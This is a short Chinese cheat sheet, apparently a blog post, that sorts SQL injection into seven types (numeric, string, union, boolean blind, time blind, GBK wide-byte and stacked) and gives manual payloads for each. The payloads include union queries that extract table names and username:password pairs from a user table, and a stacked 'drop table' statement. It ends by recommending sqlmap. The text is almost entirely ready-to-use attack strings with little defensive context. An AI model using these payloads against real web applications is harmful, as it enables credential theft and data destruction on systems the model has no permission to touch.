SQL注入分类及手动payload

6 阅读2分钟

一、数字型注入

场景:参数为数字,后端未加引号包裹,如 id=1 判断 Payload

1 and 1=1 --  
1 and 1=2 -- -

测试说明:若前者返回正常、后者返回异常,则存在数字型注入。

二、字符型注入

场景:参数被单 / 双引号包裹,如 id='1'判断 Payload

1' and 1=1 -- -
1' and 1=2 -- -
1" and 1=1 -- -
1" and 1=2 -- -

测试说明:通过添加引号破坏闭合,观察页面差异判断注入点。

三、联合查询注入

前提:页面有回显位,可直接展示查询结果核心步骤 Payload

  1. 猜字段数
1' order by 1 -- -
1' order by 2 -- -
1' order by 3 -- -
  1. 找回显位
-1' union select 1,2,3 -- -
  1. 获取数据库信息
-1' union select 1,database(),version() -- -
  1. 获取表 / 字段 / 数据
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='user' -- -
-1' union select 1,concat(username,0x3a,password),3 from user -- -

四、布尔盲注

场景:页面仅返回 “存在 / 不存在” 两种状态,无数据回显核心 Payload

  1. 猜数据库名长度
1' and length(database())=5 -- -
  1. 逐字符猜数据库名
1' and substr(database(),1,1)='s' -- -

五、时间盲注

场景:页面无任何状态变化,完全无回显核心 Payload

sql

1' and sleep(5) -- -
1' and if(length(database())>5,sleep(5),0) -- -
1' and if(substr(database(),1,1)='s',sleep(5),0) -- -

测试说明:通过页面延迟时间判断条件是否成立。


六、宽字节注入

场景:PHP+MySQL 环境,addslashes/magic_quotes_gpc转义单引号,数据库编码为 GBK核心 Payload

sql

1%bf' -- -
1%bf' and 1=1 -- -
1%bf' union select 1,2 -- -

原理%bf与转义符``(%5c)组合成 GBK 汉字,使单引号'(%27)成功逃逸。

七、堆叠注入

场景:后端支持多条 SQL 语句执行(如;分隔)核心 Payload

sql

1'; show databases; -- -
1'; select * from user; -- -
1'; drop table test; -- -

风险:可执行任意 SQL 语句,危害极大。


在实际使用中,只要知道存在哪种 SQL 注入,就可以直接使用 sqlmap 开扫